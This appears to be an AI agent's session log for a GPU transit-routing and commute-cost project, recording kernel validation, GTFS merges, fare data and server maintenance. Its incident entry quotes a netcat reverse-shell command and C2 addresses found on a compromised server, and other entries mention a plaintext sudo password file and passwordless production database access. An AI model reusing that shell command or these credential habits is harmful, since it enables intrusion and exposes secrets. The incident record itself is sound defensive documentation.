right now. Confirmed zero footprint: no image/container/tiles/OSM-PBF on the
geo2 routing host, nothing in Second Brain, named in the design doc only. What
matters:
- Standing it up = pull image + NE OSM + build tiles (~1–3 h) + run a container.
Feasible but non-trivial.
- The blocker isn't the router, it's the data. Valhalla out-of-the-box is
free-flow (OSM speed tags + heuristics) — same as the OSRM we already run.
Real rush-hour congestion needs a traffic.tar (historical speed tiles) from
a feed (INRIX/TomTom/HERE/Google). We don't have one. So Valhalla alone would
not improve drive times over OSRM×peak.
- Better, cheaper path using data we HAVE: the commute DB's hex_isochrone
has 1,593 drive-PEAK reachability polygons the platform already computed —
calibrate the OSRM peak multiplier against those to ground rush-hour drive
times empirically, no Valhalla needed. (Cost side — peak tolls/CRZ/parking —
is already real from the DB.)
- Recommendation: don't deploy Valhalla just for traffic. Either (a) acquire a
speed/traffic feed (then feed Valhalla or OSRM --segment-speed-file), or
(b) calibrate the peak factor from hex_isochrone. Logged for the owner's call.
State recorded across stores for this project: SESSION_LOG → videolens HTML
(publish_report.py), board project-docs MD→HTML+JSON (board_docs_publish.py),
graphify knowledge graph, Second Brain + board-RAG (geo2:8020) + gbrain (geo:8050).
2026-06-11 · Session 6 (cont. 6) — AUTHORITATIVE commute DB (gtfs3, internal IP): real tolls + parking + zone fares
The "it's in our DB" was right — I was hitting external IPs (gtfs3 →
71.172.x, firewalled). On the internal NAT (geo:/etc/hosts:
172.26.1.152 gtfs3), the commute DB is reachable from geocoder via
trust-auth (no password needed). It's the FULL CertiHomes Commute-Cost
production DB — richer than the reso_etl subset on geo:
- transit_zone_fares — zone fares whose zone_name names the member
stations (NJT z7 "Edison/Metuchen/New Brunswick" $12.25; MNR zCT_A Stamford
$14.25; LIRR z7 Hicksville $15.25; New Haven $23.50) — anchors all PASS.
- toll_rates — real peak/off-peak (Lincoln/GWB $16.79/$14.79) + NYC CRZ $9.
- parking_rates — per-station P&R (Edison $7/day, Metropark $10…).
- transit_transfer_rules; hex_isochrone (1,593 drive-peak + walk polygons).
Rewrote fares.py onto these tables (station→zone via zone_name, curated
fallback for unnamed stops) and pointed run_commute_towns.py at the real
tolls/parking/CRZ. Re-ran: rail cheaper 30/30, faster 26/30; avg $15.07 vs
$58.80 → ~$1,924/mo. Now the ONLY estimate left in the cost is the drive
time (OSRM free-flow ×1.9 peak — still no Valhalla). Exports refreshed to
gtfs-arrow/fares/{zone_fares,toll_rates,parking_rates,transfer_rules,gas}.json.
NB: used the shared sudo password authorization only to confirm auth paths;
internal trust-auth meant no password was actually needed for commute.
2026-06-11 · Session 6 (cont. 5) — REAL fares from reso_etl + tri-state commute-town matrix (30 towns)
Wired the actual Commute-Cost DB into the pipeline (Phase E1/E2). Traced the
fare source via Second Brain → reso_etl on geo (the CertiHomes Commute-Cost
platform: transit_fares zone tariffs, vehicle_fuel_economy, energy_prices,
toll_facilities). Exported NY/NJ/CT fares + EIA gas + EPA MPG to
gtfs-arrow/fares/*.json; built fares.py (OD zone-fare engine, Edison→NY
$13.75 anchor PASS; LIRR/MNR peak/off-peak; subway/PATH $3.00; drive fuel from
gas÷MPG). NJT/LIRR/MNR station→zone curated where the DB lacks it; MNR New Haven
line extrapolated past the DB's zone-11 ladder.
run_commute_towns.py — 30 top commuter towns (NJ/NJT, LI/LIRR,
Westchester+CT/MNR) → NYC terminal + Midtown, RAIL (best P&R/K&R/Uber) vs DRIVE,
all origins in ONE multi-source kernel pass at 08:00 peak:
rail cheaper 30/30, faster 26/30; avg $16.91 vs $58.23 one-way → ~$1,818/mo
saved. Drive = OSRM free-flow ×1.9 peak + $9 CRZ + $35 parking + tolls.
Findings to flag honestly: (1) Valhalla is NOT deployed anywhere
(geo2 runs osrm/osrm-foot/r5/OTP; none on geo/geo3) — so rush-hour driving uses
an OSRM peak multiplier (E3 interim), not traffic-aware routing. (2) No traffic
table exists in any reachable DB. (3) Sudo password NOT rotated —
geo:~/secret.txt unchanged since 2026-03-28 despite the 2026-06-11 transcript
exposure (SSH keys WERE rotated; password still pending). (4) Toll prices
aren't in the DB yet (catalog only; TollGuru Q2-2026) — hardcoded for now.
Still crow-fly (Phase E4, next): egress walk/bike legs → extend the cuGraph SSSP
walk+bike matrices from NYC-only to full tri-state OSM. New board doc:
COMMUTE-TOWNS.md. Engine: fares.py; data: gtfs-arrow/fares/.
2026-06-11 · Session 6 (cont. 4) — MULTI-MODAL access + egress (Kiss&Ride, Uber, bikes, Park&Ride) + cost
Pulled Phase E forward: first/last-mile legs around the unchanged kernel plus
a generalized time+money cost, so options rank like OTP. A drive-access leg is
just one more (origin, stop, sec) Round-0 seed; egress is computed post-kernel.
New: multimodal.py (OSRM drive + Citi Bike GBFS gate + fare model + synthetic
multi-source seeding), run_multimodal_options.py, MULTIMODAL.md. Live data:
OSRM 172.26.1.151:5002 (geo2 by IP — hostname won't resolve from geocoder),
Citi Bike GBFS (2,411 docks → KD-tree availability gate).
Egress changes the Edison→99 Wall St answer. Option 2 (PATH→WTC)'s only weakness was its 1.1 km final walk — a Citi Bike makes it joint-fastest (74 min, ~$16), matching Option 1; walk stays cheapest ($11.25) if you'll walk.
Access validates the ground truth. 08854 Piscataway→10001: K&R/Uber Edison + all Metropark options = 77 min, inside the 67-78 band (CLAUDE.md), all in ONE kernel pass (multi-source origins). P&R Edison shows 98 min — correctly: parking overhead misses the train K&R catches (exact-schedule fidelity; a depart-window range query smooths it). Drive-all-the-way 58 min but ~4× the cost ($60 vs $16).
Fares are ESTIMATES (constants in multimodal.py); real per-leg fares +
journey reconstruction remain the Phase-E item. Full tables: MULTIMODAL.md.
2026-06-11 · Session 6 (cont. 3) — OTP-style MULTI-OPTION trip: Edison → 99 Wall St, two routes compared
Gave Edison→99 Wall St as two named itineraries (like OTP), compared on time
AND cost. Added PATH back into the merge (raw 517, orphan-extended: 52
degenerate service-ids given April-2026 dates → 0 orphans; 5 feeds now, 1,491
platforms). Each option forced via a constrained feed network so the route is
the named one, not just the single shortest (run_edison_options.py; the
converter takes <out_dir> <feed,codes> to ingest a subset).
| Option | Route | transit | walk | door-to-door | est. fare |
|---|---|---|---|---|---|
| 1 | NJT NEC → NY Penn → subway (1/2/3) → Wall St | 86 | 2 (161 m) | ~88 min | $16.65 |
| 2 | NJT NEC → Newark Penn → PATH → WTC | 77 | 10 (801 m) | ~87 min | $11.25 |
FASTER + CHEAPER: Option 2 (Newark→PATH→WTC) — but it trades a 10-min/800 m final walk for Option 1's 2-min/160 m, so the real-world pick depends on walking tolerance. Exactly the tradeoff OTP surfaces. Fares are ESTIMATES (NJT/PATH/MTA tariffs hardcoded) — the real per-leg fares need the Phase E GTFS-Fares-v2 engine; the kernel still emits arrival-only.
Caveats: walk legs crow-fly (NJ first-mile + FiDi last-mile); cross-feed transfers at Newark (NJT↔PATH) and Penn (NJT↔subway) via the 250 m proximity links. Next pass: real per-leg fares (Phase E), NJ/CT network walk matrix, journey reconstruction so options are explained leg-by-leg rather than inferred.
2026-06-11 · Session 6 (cont. 2) — GOLDEN SOURCE feeds + cross-feed transfers: Edison → 99 Wall St ≈ 88 min
Two corrections after the provenance question "are you using the Golden Source or raw feeds?":
1. Was using RAW feeds → switched to the GOLDEN SOURCE. The earlier merge
pulled raw GTFS from gtfs3:/mnt/drive1/gtfs/northeast/. The curated Golden
Source is gtfs3:/mnt/drive1/otp/northeast-2026-06/gtfs-fixed-v3/ (produced by
/home/krish/validate_fix_gtfs.py — orphan-service-id extender, calendar/agency
fixes). Re-ingested build_multifeed_arrow.py from it. Result:
service-id-without-calendar orphans 20,143 → 0 (the v3 extender fixes exactly
the PATH problem), and Metro-North (528) is now included (it was NOT missing —
it's in the Golden Source). Combined: 1,958 stops / 1,462 platforms / 118,724
trips (subway 510 + LIRR 520 + MNR 528 + NJT-rail 509). ⚠️ Golden Source
label gotcha: 509_NJT_LightRail is actually the NJT RAIL feed (route_type 2,
has EDISON→NY PENN NEC); 508_NJT_Rail is actually bus (route_type 3). Content
(route_type/station names) is authoritative, not the filename. PATH absent from
v3 (degenerate calendar).
2. Cross-feed transfers added (build_transfer_closure, no-op for
single-feed so T1/T2 stay bit-exact). The merged network was DISCONNECTED across
agencies — Edison (NJT) reached NY Penn but had no edge to the subway, so
subway-served destinations were UNREACHABLE. Added proximity transfers linking
co-located platforms in DIFFERENT feeds within 250 m (1 m/s in-station + 120 s
penalty) — connects Penn (NJT/LIRR/MNR↔subway), GCT (MNR↔subway), etc.
Routes (Golden Source, depart 07:00, k=8, crow-fly walk): - Edison NJ → MSG / NY Penn: 70.0 min (NJT NEC; subway 34 St-Penn now also reachable at 74 min via the cross-feed link). - Edison NJ → 99 Wall St (FiDi): ≈ 88 min door-to-door — NJT NEC → NY Penn (70) → cross-feed transfer → subway → Wall St station 86 min, 161 m from 99 Wall St + ~2 min walk. First full multi-agency, multi-leg, with-transfer tri-state journey.
Regression: T1 + T2(200) bit-exact PASS. Runner run_edison_dests.py.
Next pass still: extend network walk matrix to NJ+CT (replace crow-fly there),
preserve per-feed transfers.txt in the converter, tighten the cross-feed penalty
vs real in-station times.
2026-06-11 · Session 6 (cont.) — first multi-feed ROUTE validated: Edison NJ → MSG = 70 min
Ran the merged tri-state rail data through the kernel end to end
(run_edison_msg.py): pointed the pipeline at output-tristate-rail, forced
the crow-fly walk fallback (Edison is in NJ, outside the NYC network matrix),
service 20260415, depart 07:00. Loaded 1,376 platforms / 44 services /
12,251 trips / 920 patterns across 62 routes (subway + LIRR + NJT + PATH),
one chunk, no chunking.
Result: Edison NJ → NEW YORK PENN STATION (= MSG, on top of Penn) = 70.0 min via the NJT NEC — bottom of CLAUDE.md's expected 70–77 min. (Intermediate NEWARK PENN at 48.0 min en route.) This is the first validated cross-agency tri-state route — the namespaced multi-feed merge works for real routing, not just ingest.
Orphan-service-id diagnosis (answering "is it frequency?"): NO. PATH 517's
frequencies.txt is EMPTY (0 rows) — it's not frequency-based. All 20,143
orphans are PATH-only: 52 of its 57 calendar.txt services have all 7 weekday
columns = 0 (special/disruption rows like "Platform Work", "No Service Between
Harrison & Grove"), and the trips reference those, so they correctly yield zero
dates (calendar_dates.txt has just 4 rows). It's a degenerate PATH snapshot.
Fix = refresh the PATH feed, or apply the v3 orphan-service-id extender
(DESIGN R1). It does NOT block the other 3 feeds (LIRR/NJT/subway = 0 orphans)
or Edison→MSG.
2026-06-11 · Session 6 — PHASE D ingest: tri-state multi-feed merge (namespaced)
First buildable chunk of Phase D: merge the tri-state RAIL feeds into one
namespaced int32 dataset. gtfs-arrow/scripts/build_multifeed_arrow.py reads
each feed's GTFS from its zip, prefixes every id with its feed code
(511:R12) BEFORE dict-encoding so ids never collide, handles both
calendar.txt feeds and calendar_dates-only feeds, and writes to
gtfs-arrow/output-tristate-rail/ (separate from the working 511 pilot).
Feeds identified + merged (from gtfs3:/mnt/drive1/gtfs/northeast): - 511 MTA NYCT subway · 507 LIRR · 509 NJT rail (agency.txt mislabels it "BUS" — same pathology as MTA 510; 228 stops = rail) · 517 PATH. - Metro-North is NOT present locally — needs sourcing. - Bus feeds (MTA 510/512/513/514/520/528, NJT 508) skipped — rail pilot.
Combined: 1,907 stops (1,376 platforms), 105,491 trips, 2.46 M stop_times, 65 routes, 229 service ids. Zero FK orphans (trip-FK 0, stop-FK 0) → the namespacing is consistent end to end. Key result: rail-only tri-state is 1,376 platforms, NOT the ~50K bus-inclusive figure the design feared — so it fits ONE kernel chunk; no state-blowup chunking needed (that only bites when buses join).
Reported, not auto-fixed (next pass):
- 20,143 trips have a service-id with no calendar dates (orphan-service-id
= NJT NEC pattern, DESIGN R1). Need the v3 validate_fix_gtfs orphan
extender before a multi-feed departure run, or many trips drop out.
- PATH 517 ships frequencies.txt (frequency-based service) — its explicit
stop_times are ingested as-is; frequency expansion is a kernel TODO.
Next pass (deferred per scope): orphan-service-id fix → pick one common
service date across feeds → point the pipeline GTFS_DIR at the combined output
and run the kernel (1,376 platforms, one chunk) → extend build_walk_matrix.py
to NJ+CT OSM (both on gtfs3) so origins reach LIRR/NJT/PATH platforms → the
08854→10001 NJT NEC acceptance test.
2026-06-11 · Session 5 (tail) — Phase C validation: T3 OD pairs + OSRM walk spot-check
End-to-end checks with the network walk legs now active (test_t3_validation.py,
test_osrm_walk_spotcheck.py).
T3 — transit OD pairs (DESIGN.md §8), full res-9 weekday run, depart 08:00: All 5 validation origins are covered by the network matrix. Arrival times land within ~2.5 min of the (loose, hand-estimated) bands — errors in BOTH directions, so it's estimate noise, not a systematic kernel bias:
| OD pair | kernel | est. | Δ |
|---|---|---|---|
| Times Sq → 34 St-Penn | 5.0 | 2–6 | in band |
| Times Sq → Grand Central (S) | 6.5 | 2–5 | +1.5 |
| 96 St → South Ferry (1) | 28.0 | 30–38 | −2.0 |
| Coney Island → Times Sq | 62.5 | 45–60 | +2.5 |
| Times Sq → Howard Beach-JFK (A) | 60.0 | 45–60 | in band |
Every pair is inside the design's stated ±3 min Tier-3 tolerance (OTP
differs on footpath/boarding-slack models). The validate() bands are tighter
than that tolerance — they're sanity estimates, not authoritative truth. The
gold-standard cross-check is OTP-northeast (gtfs3:8091, confirmed UP) — left as
a follow-up because OTP's feed/date/scope (commuter rail, current feed vs our
historical 20260415) won't line up cleanly without care.
OSRM walk spot-check — INCONCLUSIVE (broken reference, not our matrix):
geo2's OSRM :5002 answers the foot endpoint, but its durations imply
~9 m/s (32 km/h) — not walking. So its "foot" profile is effectively
car/road routing. Against it our network distances are consistently shorter
(median ratio 0.86, some 0.2–0.6) — consistent with OSRM being road-constrained
where pedestrians have shortcuts, NOT evidence of a bug in our graph. Can't
validate walk legs against this reference. Internal evidence still backs the
network (drops impossible-on-foot pairs; shows detours). Follow-up: stand up
a real OSRM foot profile (or use OTP walk-only) for rigorous walk validation.
Net: Phase C walk legs are live and behave correctly end-to-end (T3 within tolerance); the two external references are each partially unavailable (OTP feed-mismatch, OSRM foot misconfigured) so a fully-rigorous cross-check is a documented follow-up, not a blocker.
2026-06-11 · Session 5 — PHASE C: network walk matrix LIVE (cuGraph SSSP over OSM), replaces crow-fly
The first-mile walk legs now come from true OSM-walk-network shortest paths
computed on the RTX 5080, not euclidean×1.35. build_walk_csr auto-loads the
new matrix as walk_source='network'; the crow-fly haversine stays as the
flagged fallback. The Phase-C blocker (no OSM data) was resolved — the NYC PBF
is local.
Builder (raptor-design/build_walk_matrix.py, reusable + documented):
- Parse + cache the walking network from
walk-matrix/osm/new-york-latest.osm.pbfwith pyrosm, bbox-clipped to the NYC subway walkshed (platforms span lat 40.513..40.903, lon −74.252..−73.755; +1.3 km pad). One-time parse (~17 min, 491 MB extract) → 1,161,885 nodes / 1,450,348 edges cached towalk-matrix/cache/so re-runs skip straight to the GPU step. - cuGraph graph — undirected, contiguous int32 vertices, edge weight =
length_m / 1.33 (walk seconds), both directions. Built as a persistent
pylibcugraph
SGGraphkept resident across all 992 SSSP calls. - Snap the 992 platforms (build_platforms order = kernel stop_idx) and the bbox-prefiltered origin centroids to nearest graph node (scipy cKDTree on a local equirectangular projection). Platform snap gap: median 8.1 m, max 120 m. Origins prefiltered to 4,001 / 535,471 res-9 cells within 1 km of any platform (the other 531K are nowhere near a NYC subway).
- Per-platform SSSP via
pylibcugraph.sssp(..., cutoff=900)— the cutoff truncates each search at the 15-min walk horizon so it never explores the whole 1.16M-node graph (~3.8K reachable nodes/platform, not 1.16M). Vertices are contiguous, so the distance array is gathered directly onto candidate origins (dist[origin_node]) — fully vectorised, no per-pair Python. A straight-line ≤1 km sanity gate drops detours that loop past 1 km. 992 SSSP in 391.6 s (~2.5/s). (First cut usedcugraph.sssp's cuDF-frame path at >1.3 s/call with no cutoff → swapped to the raw pylibcugraph + cutoff path; ~3× faster and correctly horizon-bounded.) - Dedup min walk_sec per (origin, stop); write the long parquet.
Output: walk-matrix/output/h3res9_stop_walk_1km.parquet (91 KB) —
23,852 pairs, 3,557 origins covered, 954/992 platforms emitting. walk_sec
min 0 / median 613 s / mean 582 s / p90 833 s / max 900 (cutoff). All 23,852
pairs unique; schema (origin_idx int32, stop_idx int32, walk_sec int32).
Network vs crow-fly (the whole point): - Crow-fly fallback: 29,434 pairs / 3,999 origins. Network: 23,852 / 3,557. - 5,588 crow-fly pairs dropped by the network — origins within 1 km straight-line but >900 s on foot (water + rail-yard cases where euclidean lies, exactly DESIGN.md §5's argument). **118 pairs have network detour
2× crow-fly — the water/rail-yard signal is visible. - Coverage is lower than crow-fly by construction (network distance ≥ straight-line, so the same 1 km radius yields ≤ crow-fly origins); the gain is correct** walk times, not more of them. On the Manhattan grid the real street path often beats crow-fly×1.35, so mean network−crowfly is −55 s; the detour cases are where it matters.
Validation — ALL PASS:
- T1 (synthetic fixture walk, unaffected): GPU == CPU == hand, bit-exact,
slack 0/30, k=1..5. PASS.
- T2 (300 origins, now walk_source='network'): kernel unchanged, GPU ==
CPU bit-exact, zero tolerance, k=1..5. PASS. Confirms the network walk
input feeds the kernel identically to the old CSR.
- OD spot-checks (walk-matrix/validate_walk_matrix.py): station cell →
its own platforms, all plausible — Times Sq 70 s (1.2 min, 4 platforms),
Grand Central 136 s, 34 St-Penn 46 s, Coney Island-Stillwell 316 s, Howard
Beach-JFK 104 s. ALL OK.
Regenerate: source venv/bin/activate && python raptor-design/build_walk_matrix.py
(uses the cached network; --rebuild-net to re-parse the PBF). Validate:
python raptor-design/test_t2_mta.py 300 && python walk-matrix/validate_walk_matrix.py.
Next: last-mile transpose (stop→cell) + the cudf cell-to-cell join product
(TODO C); spot-check ~20 pairs vs OSRM on geo2 for water-adjacency cases
(TODO C); tri-state stops + multi-feed will widen the walkshed (phase D). GPU
note: stopped the idle Ollama (ollama stop qwen2.5:7b) to free 5.7 GB for the
build; Second Brain Parser on :8030 untouched.
2026-06-11 · Session 4 (early hours) — SECURITY INCIDENT contained + pm2 fleet recovered + board doc views LIVE
A pm2 re-adoption subagent (dispatched to fix what looked like a dead daemon) instead surfaced two things and correctly refused to run the destructive playbook:
P0 — active compromise (CONTAINED): realestate-web (Next.js 15.3.4,
~/realestate-web) was popped — RCE spawned a netcat reverse shell
(mkfifo /tmp/f | sh -i | nc <C2> 7777), resident since Jun 1. The implant
rotates C2 IPs (killed it on 168.144.125.209 → respawned on
161.118.163.22). Containment took three tries (pm2 wasn't on the login-shell
PATH, so the first pm2 stop silently failed and the daemon kept restarting
the implant). Final state: shell tree killed, /tmp/f removed, realestate-web
+ realestate-worker pm2 deleted (config preserved in dump.pm2.bak-20260610),
:3035 down, no nc/fifo. realestate-web must stay OFF until the 15.3.4 RCE is
patched. Persistence scan: user crontab clean, no dropped malware binaries;
~/.ssh/authorized_keys (23 keys) flagged for human review.
pm2 "dead daemon" was a misdiagnosis: daemon was alive (v6.0.14); the
empty pm2 list was a v6-daemon / v7-CLI skew. 50 apps healthy, 12 crash-
looping on EADDRINUSE (detached orphans holding ports). Fix: killed each
orphan + pm2 restart; pm2 update to realign v6→v7. Two apps (luxury,
certihomesweb) then failed because the daemon runs under Node 18 and their
Next.js needs ≥20.9 — fixed by pm2 restart --interpreter <node v22>.
Result: 60/60 online, pm2 saved, service-registry regenerated. (Latent:
daemon still on Node 18 — fine for the 58, but a reinstall under Node 20+ in a
maintenance window would remove the per-app pin need.)
Board doc views — LIVE (the html-anything standard): per Krish's new rule
(all project MD → HTML+JSON on the BOARD, not videolens, with comments that
feed gbrain + second brain). The board-wide rollout agent generated views for
33 projects, installed /project-docs/[...slug] + /api/doc-comments
routes, added publish-docs.sh to 22 repos (committed) + 8 staged, added the
📚 Docs project-page link. Board rebuilt + restarted (also cleared its crash
loop). Verified live: board.certihomes.com/project-docs/gpu-pilot/ serves;
comment POST returns {stored:true, gbrain:ok, brain:ok}; gbrain file +
second-brain search both confirm. Videolens preview copies deleted (graph +
review reports kept). Generator: board:~/board/ops/board-docs-publish.py;
reference single-project generator stays at raptor-design/board_docs_publish.py.
Follow-ups for Krish (IR — only you): patch/audit the realestate-web 15.3.4 RCE before any restart; firewall-block 168.144.125.209 + 161.118.163.22 (needs sudo); review authorized_keys; rotate secrets reachable from geo; fuller IR pass (auth.log, given the miner-tripwire reinfection history). Plus: GPU pilot phase C (cuGraph walk matrix) still queued.
2026-06-10 · Session 3 (late night) — board doc views + comment fan-out (B+C), staged for activation
Per Krish's new standard (saved to memory): all project MD → HTML + JSON on the board, with comments; every comment flows to gbrain AND the second brain ("learning every time"). Inspiration: nexu-io/html-anything ("your local AI agent writes the HTML") — checked; claudetube cache was empty, nothing to mine there.
Built tonight:
- Skim-first doc views (
board_docs_publish.py): DESIGN / TODO / REVIEW / SESSION_LOG / CLAUDE each get a designed single-file HTML (curated TL;DR card, sticky TOC, reading-progress bar, TODO phase progress bars, 💬 on every section) + a JSON twin (sections, stats, tldr, links). All 12 files staged ingeo:~/board/data/project-docs/gpu-pilot/. - Two board routes (staged in
raptor-design/board-integration/, NOT yet installed):/project-docs/[...slug](serves the data dir at request time — future doc updates need no rebuild) and/api/doc-comments(POST → board JSON +~/gbrain/projects/<project>-comments.md+ brain ingest; CORS for *.certihomes.com). - Activation pending: Claude's auto-mode (correctly) blocked installing
routes into the live board app. Runbook:
board-integration/APPLY.md(~5 min incl. build + orphan-process swap). ⚠️ Found while scoping: geo's pm2 daemon is dead — all 61 fleet apps (board, videolens, …) run as orphans (ppid=1); dump.pm2 intact. APPLY.md protects it; a deliberate fleet-wide pm2 re-adoption should be its own session. - Previews live now (comments inactive until routes land):
index → videolens
/r/2026-06-10-gpu-pilot-docs-index.html, DESIGN →/r/2026-06-10-gpu-pilot-DESIGN.html, TODO →/r/2026-06-10-gpu-pilot-TODO.html.
2026-06-10 · Session 3 (night) — res-10 in 3.31 s + knowledge graph + fleet knowledge stores updated
res-10 chunked driver (run_res10_chunked.py, TODO B item): all
3,748,291 res-10 origins in 3.31 s wall — 6 chunks of 640K origins,
9.13 GB state allocated once and reused (VRAM steady 11.74/16.61 GB), ~88 ms
run per chunk after JIT warm-up, all chunks streaming into ONE parquet via
the new TiledParquetWriter (origin-offset-aware): 23,774,712 reachable
rows → 28.8 MB zstd. Walk coverage at res-10: 27,880/3.75 M origins within
1 km of a subway stop (206,056 pairs, crow-fly fallback).
Knowledge pipeline (the project is now discoverable everywhere):
- graphify run on the repo (geo, AST mode, 0 tokens): 161 nodes ·
208 edges · 17 communities from 17 files / ~21 K words, built at commit
e494ef5.graphify-out/(minus cache) now versioned in the repo. Communities labeled with local Ollama on geocoder's GPU (no cloud tokens): "Multi-Source RAPTOR", "Hex-Precompute Pipeline", "Schedule Building", "Design Corrections", "GTFS Conversion", "Report Publishing"… Recipe (from geo):OLLAMA_BASE_URL=http://172.26.1.95:11434/v1 OLLAMA_MODEL=qwen2.5:7b OLLAMA_API_KEY=ollama graphify label . --backend=ollama - HTML graph view published (self-contained, 140 KB): https://videolens.certihomes.com/r/2026-06-10-gpu-pilot-graph.html
- Wiki (board): created
projects/gpu-pilot.md; updatedprojects/commute-hex-isochrone-moat.md— its "Phase 2 blocked on OTP worker rewrite (~224 days)" line now records that the transit-matrix half is solved by gpu-pilot; OTP + agent #23 stay the itinerary/P&R track (complementary, not racing). Note: board-rag (geo2:8020) has no ingest route (rules doc stale) — the wiki IS the board content path. - gbrain:
~/gbrain/projects/gpu-pilot.mdcreated (db_tracked curated page per gbrain.yml). gbrain's KB dirs weren't initialized;gbrain syncNOT run (DB not configured) — page is ready for when it is. - Second brain: milestone session ingested via
/api/ingest(nested{session:{...}, messages:[...]}hook schema; 200 OK, 2 messages) and verified searchable: query "gpu-pilot milestone res-10 RAPTOR" hits.
2026-06-10 · Session 2 (late evening) — git repo + Phase B core: 73 ms full-grid departure samples
Repo: git init (phase-A baseline commit 76ebe80, 19 files, secrets-scanned,
data dirs ignored) → pushed to github.com/tlcengine/gpu-pilot (private).
Push route: geocoder→geo→GitHub (geo holds the registered tlcengine SSH key;
geocoder's key isn't on GitHub yet).
Weekday focus locked: run_full_res9.py asserts the service date is a
weekday (20260415 = Wednesday, 28 services / 8,492 trips) — phase-B numbers
are weekday-service numbers by construction.
Phase B instrumentation + run (all on the RTX 5080, Second Brain's 2 GB untouched, VRAM peaked at 10.12/16.61 GB):
| Measurement | Result |
|---|---|
| ONE departure sample, 535,471 origins × 992 stops, k=5 | 73 ms wall (design target 0.5–1 s → 7–13× under) |
| Per-round phases (cudaEvent) | copy-fwd 5.3 ms/round; scan 2.3–6.0 ms; relax 2.6–3.7 ms; Σ 62 ms + fills/init/finalize ≈ 73 |
| Departure window 07:00–09:00 every 10 min | 13 samples in 0.95 s, allocations reused, flat 73 ms each |
| State VRAM | 7.64 GB — REVIEW §4.1's corrected 14.25 B/stop·origin predicted 7.63 GB ✓ |
| Tiled export (review 4.3 fix shipped) | 3,411,334 reachable rows → 4.2 MB zstd parquet, 0.69 s, VRAM flat |
| CPU baseline (review 4.11, honest label) | unoptimized Python reference: 20.6 ms/origin → 184 min full grid, single-core → GPU 150,347× vs that reference; a native optimized CPU RAPTOR would be 10–100× faster than the reference, so quote "≫1,000×" not the raw number |
Why so far under target: the design's estimate assumed full pattern scans (~80 GB/round). The marked-union warp-skip makes scan cost scale with marked density, and crow-fly walk coverage seeds only 3,999/535,471 origins (subway feed, tri-state bbox). Expect scan time to grow with the phase-C network walk matrix and especially with tri-state stop counts — re-profile then (Nsight + warp-skip counters deliberately deferred to that point).
TODO.md phase B status: full-run, timings, tiled export, window loop, CPU baseline ✅; open: Nsight pass, warp-skip/hub counters, res-10 chunk driver, snapshot streaming, best-hopping evaluation (stays gated on a formal proof), CUDA-graph/L2/pinned optionals, wide-matrix export variant.
Regression: T1 + T2 re-run green after instrumentation edits (bit-exact).
2026-06-10 · Session 2 (evening) — external review filed, kernel implemented & validated: Phase A COMPLETE
Host: geocoder (RTX 5080). Outcome: GPU RAPTOR is bit-exact against an independent CPU reference on real MTA data. All 13 phase-A tasks green in one session.
Review intake (early evening)
- Filed the external design review as
REVIEW.md— independently verified its math before accepting (14.25 B/stop·origin state, 12.85 GB resident i32 snapshots, ~15K origins/chunk at S=50K, 573 GB hex-to-hex brute force). - Folded errata into
DESIGN.mdinline + new §11 review deltas (8 accepted changes). RestructuredTODO.mdinto phases A–E (E = post-pilot time+cost product layer: journey reconstruction, Fares v2 + EPA/EIA cost engine, mode/asset state, arrive-by backward search). - Reconciled
CLAUDE.md(corrected chunk math it inherited) and fixed a real contradiction: TODO said feed 516 for the phase-D ETL; the data pathology note says 511 is canonical (516 = ~25% partial division feed). Corrected. - Pinned
.claude/settings.json→claude-fable-5[1m].
Toolchain gates
- First-ever compile and run of the kernel:
nvcc -arch=sm_120(CUDA 12.8) on the pristine skeleton — built clean, smoke test exact:A=30 B=200 C=300, exit 0. (nvcc is NOT on PATH on geocoder; use/usr/local/cuda-12.8/bin/nvcc.) - NVRTC path (production):
cupy.RawModuleresolves all 4 kernels, 24–40 registers — healthy occupancy at 256 threads/block.
Review deltas implemented in the kernel
- Two-mask deterministic transfer relax (REVIEW §4.8): new
marked_xfersnapshot buffer; relax reads the immutable trip-mark snapshot, writesmarked_out. Order-independence by construction, not by invariant. - Boarding slack as a runtime kernel parameter (REVIEW §4.5):
board_slack_secthreaded through kernel/driver/pipeline; default 30 s, 0 allowed only in synthetic tests. Smoke re-verified exact after both.
Data gate — caught a live R1-class bug
- The feed 511 snapshot's service calendar EXPIRED 2026-05-16 (window 20251102..20260516). Any current service date ⇒ zero trips ⇒ an all-unreachable matrix that would have looked plausible. Pilot pinned to 2026-04-15 (Wed): 28 services, 8,492 trips. Feed refresh tracked in phase D.
- Schema gate written into the loader (
_assert_schema): int32 dict codes, (trip_id, stop_sequence) strict sort, dep≥arr. 67,703 stop_times rows24:00:00 (max 27.9 h) — no-modulo invariant confirmed live.
- Stop topology: 1,488 stop rows = 992 platforms (kernel stop set) + 496
parents.
transfers.txtexists in the raw feed only (613 parent-level rows,min_transfer_time180 s style); no pathways.txt, no frequencies.txt.
Host builders implemented (raptor_pipeline.py, ~400 new lines)
| Builder | Real-feed result |
|---|---|
filter_service_date |
semijoin on pre-exploded (service_id, date); 8,492 trips / 238,342 rows |
build_platforms |
dense kernel ids = 992 platforms; code→dense map |
build_route_patterns |
210 patterns from 210 groups — zero overtaking in MTA weekday data; greedy FIFO-chain splitter (transitive ≥, no fixpoint needed) |
build_schedule_slabs |
both layouts, 238,342 elements each, int64 bases; FIFO re-asserted |
build_transfer_closure |
613 txt rows → 1,592 platform edges, already transitively closed (closure added 0 on real data — REVIEW §4.9 blowup is a non-issue at subway scale); parent-level expansion + 180 s default for 33 uncovered parents |
build_walk_csr |
fixed a real bug: offsets array was allocated but never filled (stub TODO); + (origin,stop) dedup; crow-fly: 29,434 pairs, 3,999/535,471 origins within 1 km (correct — bbox is tri-state, feed is subway-only) |
Validation — the heart of it
- CPU reference RAPTOR (
cpu_reference_raptor, ~100 lines numpy): same arrays, same semantics (strict rounds, tau_best pruning, bisect boarding with slack, two-mask relax). Label-equality argument vs GPU write races documented in the docstring (closure ≤ property + redundant-rescan no-ops). - T1 synthetic (
test_t1_synthetic.py): 14-stop hand-traceable fixture — overtaking split (5 groups → 6 patterns ✓), >24:00 trip, explicit transfers.txt row, default-parent pair, closure chain PX→PY→PZ = 150 s (12 direct → 16 closed edges), 2-transfer journey (3 boardings), missed-by- 1-second, slack boundary (0 vs 30 changes D/E/F exactly as hand-computed), u16 clamp at 65,534, padded-lane hygiene. GPU == CPU == hand, bit-exact, k=1..5, both slacks. PASS. - T2 real feed (
test_t2_mta.py): 1,000 seeded origins (800 covered + 200 uncovered) × 992 platforms × rounds 1–5, depart 08:00, slack 30 s. GPU == CPU bit-exact, zero tolerance. PASS. CPU oracle: 59 origins/s (16.9 s total).
Performance early signal (not the honest benchmark yet)
